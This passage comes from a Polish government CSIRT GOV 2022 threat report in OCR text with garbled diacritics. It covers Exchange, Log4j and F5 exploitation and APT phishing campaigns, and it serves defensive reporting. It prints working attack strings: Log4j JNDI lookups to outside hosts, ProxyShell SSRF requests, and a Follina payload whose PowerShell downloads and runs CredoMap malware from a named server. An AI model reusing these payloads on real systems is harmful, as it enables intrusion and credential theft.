temu cyberbezpieczenstwa byta podatnos¢ systemow Microsoft Exchange Server. Ma to zwigzek
z szerokim wykorzystaniem tego systemu w infrastrukturze teleinformatyczne;.

Zespot CSIRT GOV w 2022 roku zarejestrowat zwiekszong aktywno$é, zwigzang z eksplo-
itacjg podatnosci serwerdw MS Exchange Server 2013, 2016 i 2019. Podatnosci te zostaty oznaczone
jako CVE-2022-41040 o stopniu CVSS:3.18.8 oraz CVE-2022-41082 o stopniu CVSS:3.18.8 okreslone
jako ProxyNotShell. W tym wypadku skuteczny atak wymagat wykorzystania dwach podatnosci
tacznie. Wskazane podatnosci producent sklasyfikowat jako ,zero-day”. Pierwsza podatnosé wy-
korzystywata brak mechanizmu wtasciwej filtracji w mechanizmie Exchange Autodiscover, gdzie
znajac kombinacje loginu i hasta atakujgcy mogli uzyskac dostep, ktéry w konsekwencji umozli-
wiat wykonywanie polecen PowerShell w srodowisku serwera Exchange.

Kolejnym etapem infekcji byta eksploitacja podatnosci CVE-2022-41082 poprzez przeka-
zanie specjalnego payload-u jako parametru, co umozliwiato uruchomienie nowego procesu zgda-
niem HTTP POST. Opisane podatnosci umozliwiaty atakujgcemu przeprowadzenie dalszych dziatan
ofensywnych, np. w postaci rekonesansu sieci, uzytkownikow, grup oraz domeny, czy przeprowa-
dzenia ataku typu remote process injection (zdalne wstrzyknigcie do pamieci procesu).




Aktywny wzrost zainteresowania eksploitacjg byt zwigzany z jej ujawnieniem w drugiej
potowie 2022 roku. Tym samym incydenty dotyczace wskazanych podatnosci wystapity takze
w obszarze wtasciwosci Zespotu CSIRT GOV. Analiza przeprowadzona w kierunku wystepowa-
nia przedmiotowych podatnosci pozwolita ustali¢, iz w jednej instytucji pozostajacej w obszarze
kompetencyjnym Zespotu CSIRT GOV doszto do wykorzystania podatnosci w celu przetamania za-
bezpieczen. W zakresie rozpoznanego przypadku Zespot CSIRT GOV podjat czynnoSci wspierajace
w kierunku identyfikacji podatnosci i wdrozenia srodkéw mitygujacych.

Zgodnie z zaleceniami producenta, Srodkami zaradczymi mitygujacymi zagrozenie wyste-
pujace w produktach MS Exchange Server byto filtrowanie regutg blokujacg wskazany wzorzec
adresu URL oraz wytaczenie zdalnego dostepu do narzedzi oraz skryptow PowerShell, zwtaszcza
dla kont nieposiadajgcych podwyzszonych uprawnien (konta administratorow). Docelowo, po wy-
daniu przez Microsoft aktualizacji zabezpieczen (Security Update) z dnia 8 listopada 2022 roku,
skutecznym sposobem wyeliminowania podatnosci byta aktualizacja oprogramowania Exchange
Server do najnowszej wersji zgodnie z informacjami umieszczonymi ponizej.

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41040
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41082

W wyniku analizy danych agregowanych przez system ARAKIS GOV, Zespot CSIRT GOV od-
notowat takze liczne prdby wykorzystania znanych podatnosci. Ponizej przedstawiono najistot-
niejsze z nich wraz z charakterystyka mozliwosci ich wykorzystania:

- Log4j CVE-2021-44228;
Krytyczna podatnos¢ w bibliotece Apache umozliwiajaca atakujgcemu zdalne wykonanie kodu
(RCE).
= GET  /?x=S{jndi:ldap://${hostName}.uri.caabv0804ttjk8babjq0z9jrpcxrpikik.oast.si-
te/a} HTTP/1.1
= Accept-Language: ${jndi:ldap://62.233.50.129:1389/0o=tomcat}

= GET /solr/admin/collections?action=$%7Bjndi:ldap://S%7BhostName%7D.cdoek-
Tto79n9b4000010iipgjgz9chbkij.oast.me/a%7D HTTP/1.1

- ProxyShell CVE-2021-34473, CVE-2021-34523, CVE-2021-31207;
Podatnosci te umozliwiajg pominigcie listy kontroli dostepu ACL (Access Control List), podniesie-
nie uprawnien dla konta uzytkownika (atakujgcego) oraz zdalne wykonanie kodu.

*Informacja: Wsparcie dla Exchange Server 2013 zakoniczyto sie w kwietniu 2023 r.



Podatnosci wskazane powyzej zostaty sklasyfikowane przez Microsoft jako krytyczne. Podatnymi
na nie sg systemy Microsoft Exchange Server 2013, 2016, 2019 dostepne poprzez port 443/TCP.
Umozliwiaja atakujgcemu zdalne wykonanie kodu RCE (Remote Code Execution). Popularnym spo-
sobem eksploitacji podatnosci jest zdalne, nieautoryzowane utworzenie w skrzynce pocztowe;j
uzytkownika kopii roboczych wiadomosci, zawierajacych zakodowany zatgcznik o rozszerzeniu
ASPX (pliki wykonywane po stronie serwera zawierajgce skrypty). Atakujacy przy uzyciu pole-
cenia ,New-MailboxExportRequest” moze wyeksportowac zawartos¢ poczty do pliku PST (plik
zawierajacy informacje, w tym dane osobowe z programu Microsoft Outlook lub Exchange). Na-
stepnie w procesie eksportu do formatu PST, zatacznik jest odkodowywany po stronie serwera
Exchange, dzieki czemu atakujacy moze w kolejnej fazie wykonywac polecenia przekazywane do
webshella.

Podatnosci typu ProxyShell sa rowniez wykorzystywane do umieszczania oprogramowania ran-
somware na serwerach Microsoft Exchange. Atakujacy aktywnie eksploitujac podatnosc probujg
uzyskac dane z serwerow pocztowych, a w przypadku zastosowania do atakow oprogramowania
szyfrujacego, celem jest pozyskanie od ofiary srodkow finansowych. W celu wyeliminowania po-
datnosci ProxyShell producent zaleca zainstalowanie zhiorczych aktualizacji poprawek bezpie-
czenstwa dedykowanych dla serwerdw Microsoft Exchange. Zaleca sig rowniez przeprowadzenie
skanowania zasobow serwera w celu wyeliminowania ewentualnego ztosliwego oprogramowania
pozostawionego przez atakujacego oraz pozostawionych webshelli lub backdoorow umozliwiaja-
cych uzyskanie nieautoryzowanego dostepu.

= GET /autodiscover/autodiscover.json?@test.com/owa/?&Email=autodiscover/autodi-
scover.json%3F@test.com HTTP/1.1

= GET /autodiscover/autodiscover.json?@foo.com/mapi/nspi/?&Email=autodiscover/
autodiscover.json%3f@foo.com HTTP/1.1

= GET /autodiscover/autodiscover.json?@abc.com/owa/?&Email=autodiscover/autodi-
scover.json%3F@abc.com

- ProxyNotShell CVE-2022-41040 i CVE-2022-41082;
Podatnosc¢ CVE-2022-41040 umozliwiajaca spreparowanie zadan po stronie serwera (SSRF)
Podatnos¢ CVE-2022-41082 umozliwia zdalne wykonanie kodu (RCE).

= GET /autodiscover/autodiscover.json?@zdi/Powershell

- F5-Big-IP CVE2022-1388;




-\ Krytyczna podatnos¢ dotyczaca urzadzen F5, umozliwiajaca zdalne przejecie maszyny. Wysta-
wienie do Internetu panelu API REST umozliwia nieuwierzytelnionemu atakujagcemu wykonanie

dowolnego polecenia, tym samym utworzenie lub usuniecie plikow, wytgczenie ustug.

= POST /mgmt/tm/util/bash HTTP/1.1

\







3.1. Odnotowane przez Zespot CSIRT GOV aktywnosci grup APT

Aktywnosé grup APT (ang. Advanced Persistent Threat) nalezy do najbardziej zaawanso-
wanych zagrozen, z ktérymi przychodzi mierzy¢ sie w zakresie cyberbezpieczenstwa infrastruk-
tury teleinformatycznej wykorzystywanej przez organy administracji publicznej oraz stanowigcej
elementy infrastruktury krytycznej. Identyfikacja tego typu atakow oraz efektywna ich mitygacja
pozostaje jednym z kluczowych wyzwan stojacych przed zespotami CSIRT i wymaga prowadzenia
statej analizy aktywnosci grup APT.

Rok 2022 okazat sie szczegdlnie istotny w kontekscie zagrozen APT, ktorych eskalacja
byta widoczna w zwigzku z kampaniami przeciwko infrastrukturze teleinformatycznej w Ukrainie
stanowigcymi element trwajgcego konfliktu. Szczegdlnym rodzajem zagrozenia byty ataki z uzy-
ciem ztosliwego oprogramowania okreslanego jako wiper, stuzagcego do nadpisywania wybranych
plikow, powodujac uniemozliwienie prawidtowego dziatania zaatakowanych systemow.

W ramach dziatan Zespotu CSIRT GOV identyfikowano réwniez szereg zagrozen, sposrod
ktorych na szczegdlng uwage zastuguja kampanie phishingowe wykorzystujace okreslone przez
grupy APT wektory ataku.

Za najczesciej rozpoznawang aktywnos$¢ APT nalezy uzna¢ kampanie phishingowe bazu-
jace na ukierunkowanej dystrybucji wiadomosci poczty elektronicznej. Oczywistym, w kontekscie
wydarzen 2022 roku, sposobem naktaniania do interakcji z wiadomosciami phishingowymi wysy-
tanymi przez grupy APT byto wykorzystywanie spreparowanych, fatszywych informacji dotycza-
cych konfliktu w Ukrainie. Kilka przyktadowych kampanii, ktore byty przedmiotem analizy Zespotu
CSIRT GOV, zostato przedstawionych ponizej, wraz z opisem sposobow dostarczania ztosliwego
oprogramowania.



3.2. Zagrozenie APT28

Potencjalna ztosliwo$¢ makr zawartych w plikach Microsoft Excel znana jest szeroko od
dawna. Jeszcze kilka lat temu byt to bardzo popularny sposob dystrybuciji ztoSliwego oprogra-
mowania, poniewaz makro uruchamiane byto automatycznie przy otwarciu pliku Excel (przygo-
towanego jako fatszywy dokument urzedowy czy faktura itp.) lub mogto by¢ uruchomione jednym
kliknieciem w powiadomienie o ich obecnosci w dokumencie.

W 2022 roku firma Microsoft wdrozyta domyslne ustawienia pakietu Office uniemozliwia-
jace automatyczne uruchamianie makr VBA (Visual Basic Application), co wymusito na adwersa-
rzach APT poszukiwanie alternatywnych sposobow dostarczania ztosliwej zawartosci. W ramach
dostosowania warsztatu ofensywnego nie zrezygnowano jednak z plikow pakietu Microsoft Office,
wykorzystujgc natomiast alternatywne wektory ataku, np. w postaci podatnosci ,Follina”, doty-
czgcej narzedzia Microsoft Support Diagnostic Tool i umozliwiajgcej wykonanie dowolnego kodu
PowerShell na zaatakowanej stacji roboczej. Podatnos¢ zostata ujawniona 27 maja 2022 r. jako
CVE-2022-30190, natomiast aktualizacja mitygujgca zostata opublikowana w kolejnym miesigcu.
Tym samym mozliwe byto jej wykorzystanie przez grupy APT.

Kampania APT rozpoznana przez Zespot CSIRT GOV wykorzystujaca podatnosé ,Follina”
zostata przypisywana grupie APT28. Podatnos¢ ta zostata rdwniez upubliczniona przez
CERT-UA, ktory wskazywat na jej ukierunkowany charakter, skierowany przeciwko ukra-
inskim adresatom. W ramach kampanii rozsytane byty pliki z rozszerzeniem RTF o nazwie
"Nuclear Terrorism A Very Real Threat.rtf”, bedace w rzeczywistosci dokumentem Microsoft Word.
Dokument, utworzony 10 czerwca 2022 r., a zatem przed wydaniem aktualizacji dla pakietu Office,
zawierat pozornie jedynie artykut prasowy w jezyku angielskim, dotyczgcy zagrozenia atakiem
nuklearnym na Ukraine. W szablonie "Document.xml.rels” zostato natomiast zaszyte polecenie
pobrania pliku HTML z URL: http[:]//kitten-268.frge.io/article.ntml, zawierajgcego zaszyfrowany
kod PowerShell, pobierajacy ztosliwy plik "docx.exe” oraz biblioteke "SQLite.Interop.dll”. Pobra-
ny plik EXE zostat sklasyfikowany jako oprogramowanie CredoMap, wykradajgce dane logowa-
nia oraz ciasteczka z przegladarek, eksfiltrujgce je z wykorzystaniem protokotu IMAP na adres
seo[@]specialityllc.com.




CredoMap jest oprogramowaniem wykorzystywanym przez grupe APT28 i znane s3 jego
wczesniejsze wystapienia w kampaniach skierowanych na cele w Ukrainie.

window.location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_SelectProgram=
NotListed IT_LaunchMethod=ContextMenu IT_BrowseForFile=h$(Invoke-Expression($Invoke-Expression('[System.Text.
Encoding]'+[char]58+[char]58+ 'UTF8.GetString([System.Convert]'+[char]58, [char]58+FromBase64String( ' +[char]34+
'Y21kLmV4ZSAvayBwb3d1lcnNoZWxsIC10b253bnR1cmFjdG12ZSAtV21uZG93U3R5bGUESG1kZGVUIC10b1Byb2ZpbGUgLWNVbW1hbmQglyYg
e213ciBodHRw0i8va29tcGFydHBvbWlhci5wbCOncmFmaWthL1NRTG10ZS5IbnR1cmOwLmRsbCATT3VORM1sZSA1QzpcVXN1cnNcIEVOVipVce
2VyTmFtZVXTUUXxpdGUUSWS8ZXIvcC5kbGwi0213ciBodHRWOiBva29t cGFydHBvbWLhciSwbCOncmFmaWthL2RvY3guZXh1IC1PdXRGaWx1IC
JDO1xVc2VyclwkRUSWO1VzZXIOYW11XGRvY3guZXh1IjtTdGFydC1Qecm9jZXNzICIDO1xVc2VyclwkRUSWO1VzZXIOYW11XGRvY3guZXhlIne
n'+[char]34+"))Y"0INi/ ./ oS . . /Windows /System/mpsigstub.exe IT_AutoTroublesh
oot=ts_AUTO\"";

cmd.exe [k powershell -NonInteractive -WindowStyle Hidden -NoProfile -command ‘& {iwr http://kompartpomiar.pl
/grafika/SQLite.Interop.dll -OutFile "C:\Users\$ENV:UserName\SQLite.Interop.dl1l";iwr http://kompartpomiar.pl/
grafika/docx.exe -OutFile "C:\Users\$ENV:UserName\docx.exe";Start-Process "C:\Users\$ENV:UserName\docx.exe"}"

Polecenie PowerShell pobierajace ztosliwe oprogramowanie CredoMap



3.3. Zagrozenie TURLA

Innym sposobem wykorzystania pakietu Office do infekcji ztosliwym oprogramowaniem
byty pliki XLL, bedace rozszerzeniem dla programu Microsoft Excel (Excel add-on). Gtdwnym ce-
lem ich tworzenia jest rozszerzenie programu o dodatkowe, wydajne funkcje wspomagajgce prace
na arkuszu. Jest to jednoczesnie biblioteka DLL uruchamiana przez program Excel, zawierajaca
funkcje xlAutoOpen.

W 2022 r. Zespét CSIRT GOV zidentyfikowat kampanie phishingowa, ktdra wykorzystywa-
ta wtasnie biblioteke XLL jako pierwszy etap infekcji ztosliwym oprogramowaniem. Plik dystry-
buowany w wiadomosci mailowe]j nosit nazwe "Soviet monuments in Poland.xll”, a po otwarciu
uruchamiat funkcje xlAutoOpen, w wyniku ktdrej tworzone byty dwa pliki. Pierwszy z nich to
"Document.xlsx”, ktdry jest automatycznie uruchamiany i daje uzytkownikowi ztudne wrazenie, ze
wyswietlona zawartosc (lista pomnikow radzieckich w Polsce) to wtasnie uruchomiony przez nie-
go zatgcznik do wiadomosci. Jednoczes$nie uruchamiany jest drugi plik "OfficeUpdate.js”, bedacy
kodem JavaScript, odwotujacy sie do serwerdw C2. Kampania phishingowa oraz ztosliwe oprogra-
mowanie zostato przez CSIRT GOV przypisane z duzym prawdopodobienstwem grupie TURLA.

A P s i P i Ficl i Gl et}
MiejscowiGmina  Ulica WojewA* Co upamii Rodzaj obiektu

1 Legnica Legnica pl. SA,owiDolnoAsl2 Armia Cze pomnik
2 Aicinawa A3cinawa ul. WrocA DolnoAsl2 Armia Cze pomnik
3 Trzebnica Trzebnica DolnoAsl2 Armia Cze pomnik
4 KA,odzko KA,odzko ul. Nowor DolnoAslZ Armia Cze pomnik
5 Szewnia G AdamAw Lubelskie sowieccy |tablica
6 CieleArnicRokitno Lubelskie sowieccy |pomnik
7 IR zefAPw IR zefAw Lubelskie partyzant pomnik
8 Aukowa Aukowa teren leA:Lubelskie sowieccy |pomnik
9 Tartak DA, JA’zefA?w Lubelskie sowieccy |pomnik

10 Pubawy Puh,awy Lubelskie polsko-so pomnik

11 Piszczac K Piszczac Lubelskie Armia Cze pomnik

12 OleAsnica OleAsnica park Henr DolnoAsIZ Armia Cze pomnik

13 JanA*w PcJanA®w Podlaski Lubelskie Armia Cze pomnik

5

1
2.
3.
44
5.
6.
7]
8.
|

Zawartosc pliku Document.docx




3.4. Zagrozenie UAC-0056

Sposobem na uwiarygodnienie nadawcy wiadomosci mailowych jest korzystanie z au-
tentycznej skrzynki podczas ich wysytki. Taka metoda zostata wykorzystana w kampanii, ktora
w lipcu 2022 roku dystrybuowata zatacznik o nazwie "Report on the humanitarian situation in
Ukraine since February 24,2022 x1s". Adwersarze wykorzystali skompromitowane konta pocztowe
administracji samorzadowej Ukrainy, cho¢ w tresci wiadomosci podszywali sie pod Urzad Staty-
styczny Ukrainy. Zatgcznik w formacie XLS, czyli arkusz kalkulacyjny Excel, zawierat dane liczbo-
we dotyczace pomocy humanitarnej w poszczegolnych regionach Ukrainy, a dodatkowo rowniez
makro VBA, pobierajgce z zewnetrznego zasobu plik "Microsoft Access.exe” z wykorzystaniem
funkeji urlmon.URLDownloadToFileA. Dodatkowo, w czasie tego procesu zapisywany byt rowniez
zaszyfrowany plik o nazwie "oYUuQbXu”. Funkcja makra z oryginalnego pliku uruchamiata plik EXE,
ktory nastepnie wywotywat komende PowerShell, ktdra z zastosowaniem algorytmu RC4 odszy-
frowywata i wykonywata plik "oYUuQbXu”, bedacy kolejnym skryptem PowerShell. Zawarty w pliku
payload w Baseb4 byt nastepnie deszyfrowany i wykonywany, w wyniku czego nastepowata infek-
cja zaatakowanej stacji roboczej oprogramowaniem CobaltStrike o charakterystycznym dla tego
oprogramowania identyfikatorze 1580103824.

Zidentyfikowana zostata rowniez odstona kampanii wymierzona w cele w Ukrainie, w kto-
rej przypadku zatgcznik XLS zawierat te sama tresc, jednak w jezyku ukrainskim. Wedtug CERT-UA,
kampanie te, jak rowniez inne, wykorzystujgce to samo modus operandi i blizniacze makra, przy-
pisac nalezy grupie znanej pod nazwg UAC-0056.

Hello, world! The G20 summit, which was attended by the aggressor state, the terrorist state
- Russia, has ended. Citizens of Free Ukraine, the State Statistical Office of Ukraine, want to
show you the current list of people killed by Russians, left without work thanks to Russians
who are on the verge of a humanitarian catastrophe with the help of Russians. We provide

you with a full report on the humanitarian situation in our Ukraine from February 24, 2022 to

the present day. Tell everyone who is nearby. Let's all say no to Kremlin propaganda together!

Wiadomos¢ phishingowa dystrybuowana w ramach atakéw UAC-0056



3.5. Zagrozenie BlueBravo / DiplomaticOrbiter, APT29

Nie wszystkie kampanie ukierunkowane wykorzystuja jednak pliki pakietu Office. W nie-
ktorych przypadkach sg to rowniez pliki PDF. Sposdob wykorzystany w jednej z kampanii analizo-
wanych przez CSIRT GOV wymagat jednak znacznie wiecej czynnosci wykonanych przez atako-
wanego uzytkownika, a co za tym idzie - zmniejszat szanse skutecznej infekcji. Wykorzystana
metoda pozwalata jednak na przeniesienie ztosliwego zatacznika do stacji koncowej celem in-
fekcji, bez identyfikacji zagrozenia przez systemy bezpieczenstwa. Kampania z maja 2022 roku,
w ktdrej adwersarze podszywali sie pod Ambasade Portugalii, dystrybuowata plik "Agenda.pdf”,
w ktérym zawarty byt odnosnik, rzekomo do kalendarza Ambasadora, natomiast sama wiadomos¢
naktaniata ofiare ataku do umdwienia spotkania.

Portuguese Embassy

Convenient time for H.E Ambassador in May is here

Convenient time for H.E. Ambassador in June is here

Meeting agenda is here

Zawartosc pliku Agenda.pdf

Odnosnik prowadzit do pliku hostowanego w ustudze DropBox, jednak byt on niedostep-
ny do pobrania (mozna domniemywac, ze zostat on zablokowany przez administratorow serwi-
su w wyniku zidentyfikowania zto$liwych dziatan). Atakujacy przestali nastepnie druga wiadomosé
do adresatow, ktorzy zareagowali na oryginalnego maila, w ktdrej znajdowat sie odnosnik do stro-
ny prawdopodobnie skompromitowanej poprzez eksploitacje podatnosci WordPress. Stad pobie-
rany byt nastepnie plik "Agenda.html”. Plik ten zidentyfikowany zostat jako narzedzie nazywane
EnvyScout - dropper zapisujacy na infekowanej stacji ztosliwy plik 1ISO z wykorzystaniem tech-
niki znanej jako ,HTML smuggling” (jest to wektor ataku, ktory wykorzystuje wtasciwosci HTML
lub JavaScript do zakodowania ztosliwego skryptu, ktdry po uruchomieniu na komputerze ofiary




jest dekodowany i ,budowany” lokalnie, omijajac zabezpieczenia typu firewall). W przypadku pliku
"Agenda.html” nastepowato pobranie pliku "Agenda.iso”, widocznego jako dysk zawierajacy pozor-
nie jedynie plik "Agenda.lnk”. Oprocz niego znajdowaty sig tam réwniez ukryte pliki "agenda.exe”,

dwie biblioteki DLL oraz plik o nazwie ,_".

" 435.7 KiB unknown 05/24/2022
B agenda.exe 180.2KiB DOS/Windows executable 12/24/2021

B Agenda.lnk 1.5KiB unknown 05/24/2022
B vcruntime140.dll 90.0KiB DOS/Windows executable 05/12/2022
B vctool140.dll 106.0KiB DOS/Windows executable 05/16/2022

Ukryta zawartosc pliku Agenda.iso niewidoczna dla zwyktego uzytkownika

Adwersarze oczekiwali, ze uzytkownik sprobuje otworzyc plik LNK, wygladajacy jak skrat
do kolejnego folderu. Kliknigcie w skrot powodowato uruchomienie pliku EXE, ktory byt pluginem
dla produktu Adobe Create PDF, oryginalnie o nazwie "WCChromeNativeMessagingHost.exe”. Na-
stepnie wykorzystywana byta technika znana jako ,DLL Side Loading”, polegajgca na podmianie
wtasciwych bibliotek DLL tadowanych przez program na ztosliwe, poprzez umieszczenie ich w fol-
derze, ktory bedzie przeszukiwany przez program w pierwszej kolejnosci. W tym przypadku au-
tentyczny plik Adobe, zamiast zatadowac prawidtowa biblioteke "veruntimel140.dLl”, zlokalizowang
w folderze C:\Windows\System32, taduje biblioteke znajdujaca si¢ w tym samym folderze. Jest to
biblioteka zmodyfikowana w taki sposdb, by tadowata zlokalizowang w tym samym folderze bi-
blioteke "vctool140.dll". Ztosliwa biblioteka rozpakowuje nastepnie ostatni z pobranych plikow

bedacy gtownym payloadem.



Druga odstona kampanii zidentyfikowana w pazdzierniku 2022 r. pomijata juz plik PDF
i umieszczata odnosnik do zasobu bezposrednio w tresci wiadomosci. Ponadto, pobierane byto
archiwum ZIP, nie ISO.

B 7za.du 264.0KiB DOS/Windows executable 10/24/2022
B november_schedulexe.pdf 1.1 MiB DOS/Windows executable 10/24/2022

B vcruntime140.dil 90.0KiB DOS/Windows executable 10/24/2022

Zawartosc pliku ZIP

Po rozpakowaniu archiwum o nazwie schedule.zip, folder zawierat autentyczny plik
"november_schedulexe.pdf” oraz dwie ukryte biblioteki, "vcruntimel40.dll” oraz "7za.dll”. W tym
przypadku interesujgcy byt sposob ukrycia rozszerzenia pliku EXE poprzez technike okreslang
w zrodtach otwartych jako Right-To-Left Override. Technika ta wykorzystuje niewidoczny znak
Unicode do zmiany sposobu wyswietlania tekstu od prawej strony - jak w jezyku arabskim czy
hebrajskim. W ten sposdb plik o nazwie "november_schedul(znak)pdfexe” byt widoczny jako
"november_schedulexe.pdf” i udawat PDF. Plik ten oryginalnie nosit nazwe "7za.exe” i byt auten-
tycznym plikiem 7-Zip w wersji 18.06, podpisanym w 2020 roku i podatnym na DLL Side Loading.
Podobnie jak w poprzedniej odstonie kampanii, wzmiankowany plik tadowat zmodyfikowana
biblioteke "vcruntimel40.dll”, ktora oryginalnie wykorzystywana jest przez programy tworzone
w Microsoft Visual Studio. Biblioteka "vcruntimel40.dll” tadowata nastgpnie ztosliwg biblioteke
"Tza.dll", ktéra komunikowata sig tym razem nie z ustuga Google Drive, a z Notion, narzedziem wy-
korzystywanym do pracy zespotowej, poprzez API, ktére ma dostep miedzy innymi do baz danych.
W kodzie ztoSliwego oprogramowania zapisany byt identyfikator bazy danych, do ktdrej oprogra-
mowanie nastepnie si¢ odwotuje. Ta odstona kampanii podszywata sie pod ambasade Serbii.

Adwersarze stojacy za tymi kampaniami identyfikowani sg w zrddtach otwartych jako
BlueBravo lub DiplomaticOrbiter, a ich aktywno$¢ z duzym prawdopodobienstwem mozna przypi-
sac grupie APT29.




3.6. Zagrozenie APT Mustang Panda

Sposrad identyfikowanych w 2022 roku kampanii mozna rowniez wskazac aktywnosc gru-
py APT Mustang Panda, wykorzystujacej ustuge poczty Outlook w celu podszycia sie pod polity-
kow panstw Unii Europejskiej. Kampanie te miaty na celu dystrybucje ztosliwego oprogramowania
PlugX. Typowe dla nich byto wykorzystanie watku aktualnej sytuacji geopolitycznej w tresci kore-
spondencji oraz dokumencie maskujacym ztosliwe pliki pobieranym z odnos$nika umieszczonego
w wiadomosci - zwykle za pomoca ustugi OneDrive. Zidentyfikowano rowniez wariant, w ktorym
wiadomosc nie zawierata linkdw, natomiast przesytany byt zatgcznik w postaci archiwum.

i

foldery o nazwie ,,_

1 2§

DAT EXE DLL

Typowe archiwum zawierato plik LNK oraz, w odrebnym folderze, pliki EXE, DLL i DAT. Uru-
chomienie pliku LNK, posiadajacego zwykle tzw. podwdjne rozszerzenie (.pdf.lnk) i maskujacego sig
jako PDF, wywotywato uruchomienie pliku EXE, ktdry z wykorzystaniem techniki DLL SideLoading
taduje zmodyfikowana biblioteke DLL, deszyfrujaca i uruchamiajaca payload zawarty w pliku DAT,
identyfikowany jako ztosliwe oprogramowanie PlugX - rodzaj oprogramowania typu RAT (Remo-
te Access Trojan). Oprogramowanie to pozwala na przejecie kontroli nad zaatakowang maszyng
i zdalne wykonywanie kodu.



Co ciekawe, nie kazda wiadomos$¢ wysytana przez grupe Mustang Panda byta doktad-
nie weryfikowana przez adwersarzy, tak wiec zdarzaty sie maile, zawierajgce jedynie plik DOCX,
zamiast downloadera EXE. Jedna z takich sytuacji zostata zidentyfikowana przez CSIRT GOV we
wrzesniu 2022 roku. W tym przypadku, poprzez fatszywe konto nadawcy oraz spreparowang tresc,
wiadomos¢ podszywata sig pod przedstawiciela UE.

Katerina Sustrova <Katerina_Sustrova@outlook.com> ¥y

WHO 72nd Regional Committee for Europe EU Statement 9/16/22, 03:29

Dear colleagues,

Please find attached WHO 72nd Regional Committee for Europe EU Statement.
Kind regards

Katerina

Katefina Sustrova
Deputy Antici

Stalé zastoupeni Ceskeé republiky pfi Evropské unii
Permanent Representation of the Czech Republic to the European Union
Rue Caroly 15, 1050 Bruxelles - Ixelles, Belgie / Belgium

tel.: +32 2 2139 209 | mob.: +32 493 49 75 37
e-mail: katerina_sustrova@mzv.cz | web: http://www.mzv.cz/eu
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of the Czech Republic EU2022CZ
to the European Union
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3.7. Perspektywa zagrozen APT

Majac na wzgledzie panujgca sytuacje geopolityczng nalezy zaktadac, ze aktywnosc grup
APT stanowi¢ bedzie ciggte wyzwanie dla zespotdw odpowiedzialnych za cyberbezpieczenstwo
zaréwno na Swiecie, jak i w Polsce. Metody i techniki wykorzystywane przez grupy APT sg ciagle
rozwijane. Do zwiekszenia prawdopodobienstwa skutecznosci atakow wykorzystywane sg zwtasz-
cza nowe podatnosci srodowisk klienckich. Skuteczne zastosowanie socjotechniki w kampaniach
phishingowych i spearphishingowych moze skutkowac zaréwno pozyskaniem haset dostepowych
uzytkownikow do szeregu ustug, jak rowniez kompromitacja serwera pocztowego, czy eskala-
cjg infekcji na catg infrastrukture, tgcznie z uzyskaniem statego dostepu do wszystkich zasobow,
a w efekcie eksfiltracjg danych poza atakowang organizacje.

Z uwagi na wektory ataku stosowane przez grupy APT wskazana jest zatem szczegdlna
czujnos¢ w przypadku otrzymania wiadomosci odwotujacych sie do nadzwyczajnych informacji,
zawierajgca odnosniki prowadzace do nieznanych stron internetowych czy zatgczniki w niety-
powych formatach. Nalezy takze zachowac odpowiednig dbatos¢ o to, by oprogramowanie typu
endpoint protection, wykorzystywane na stacjach roboczych, byto zawsze aktualizowane w zakre-
sie nowych wzorcow atakow. Systemy DLP powinny by¢ natomiast stale aktualizowane w zakresie
detekciji nowych rodzajow prob przesytania zatgcznikow poczty elektronicznej, czy pobierania pli-
kow, takich jak np. ,HTML smuggling”.






4.1. Oprogramowanie ztosliwe - statystyka

W 2022 roku Zespét CSIRT GOV przeprowadzit analize 12 014 plikow zgtoszonych przez pod-
mioty krajowego systemu cyberbezpieczenstwa, sposrod ktdrych 743 zostato rozpoznanych jako
ztosliwe. Liczba przeprowadzonych analiz wzrosta o 75% wzgledem roku 2021. Wykres obrazujacy
wynik przeprowadzonych analiz wszystkich zgtoszonych plikdw zostat przedstawiony ponizej.

Niezidentyfikowany I 412

Podejrzany . 833
Ztosliwy . 743

Wykres 7. Wyniki analizy zgtoszonych plikow

Analiza realizowana w srodowiskach badawczych wykazata, iz 10 026 plikow nie wykazy-
wato zadnych cech ztosliwych, 743 zostato rozpoznanych jako ztosliwe, 833 jako podejrzane oraz
412 otrzymato status niezidentyfikowany (np. ze wzgledu na brak poprawnego uruchomienia).

llos¢ zidentyfikowanego oprogramowania ztosliwego wzgledem roku poprzedniego wzro-
sta 0 46%.



Ponizej przedstawiono miesigczny rozktad analizowanych plikow:

2022-12 I ¢

2022-11 [ 1223
2022-10 | 1386
2022-09 I 1119
2022-08 N o2

2022-07 N 25

2022-06 [ ;2

2022-05 [ s

2022-04 N 919

2022-03 [N 1145
2022-02 [N 575

2022-01 (N 33

Wykres 8. Statystyka miesieczna analizowanych plikéw




4.2. Charakterystyka analizowanych probek

Sposrad 743 zidentyfikowanych ztosliwych plikdw, 263 zostato sklasyfikowanych, m.in. za
pomoca regut typu YARA oraz Sigma, do ponizszych typdw oprogramowania szkodliwego:
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Wykres 9. Klasyfikacja oprogramowania ztosliwego

Najwiecej probek oprogramowania ztosliwego w 2022 roku zostato rozpoznanych jako
Agent Tesla, HTML Phisher, Hidden Macro 4.0 oraz Formbook.

Agent Tesla nalezy do grupy oprogramowania ztosliwego typu Remote Access Trojan, kto-
rego gtownym zadaniem jest pozyskanie danych uwierzytelniajacych uzytkownika tj. ekstrakcja
zapisanych loginow i haset z przegladarek internetowych, klientdw pocztowych, oprogramowania
VPN i innych aplikacji uzytkowych oraz danych wpisywanych na klawiaturze. Oprogramowanie
ztosliwe eksflitruje pozyskane dane ze stacji roboczej w sposob cykliczny, z wykorzystaniem pro-
tokotu FTP, SMTP oraz HTTP na serwery kontrolowane przez adwersarza. Dystrybucja Agenta
Tesla w gtownej mierze odbywata sie poprzez wiadomosci e-mail w formie zatgcznika. Pierwszym
etapem infekcji byto uruchomienie downloadera napisanego np. w pliku .NET.



Zagrozenie rozpoznane jako HTML Phisher zwigzane byto najczesciej z dystrybucja za-
tacznika do korepondencji e-mail w formacie ,HTML" lub ,HTM", zawierajacego zaobfuskowany
kod JavaScript, ktory generowat link do fatszywej witryny, ktorej elementem byt spreparowany
formularz wytudzajacy dane uwierzytelniajgce (np. do serwera poczty elektronicznej).

Jednoczesnie czgsc statycznych plikow HTML wykorzystywato mechanizm HTML Smuggling,
polegajacy na osadzeniu zatgcznika w formacie 1SO lub IMG ze ztosliwym oprogramowaniem,
z wykorzystaniem metody ,document.createElement” lub spreparowanego skryptu JavaScript.
Technika HTML Smuggling byta takze wykorzystywana w ramach dystrybucji malware w ramach
kampanii grup APT.

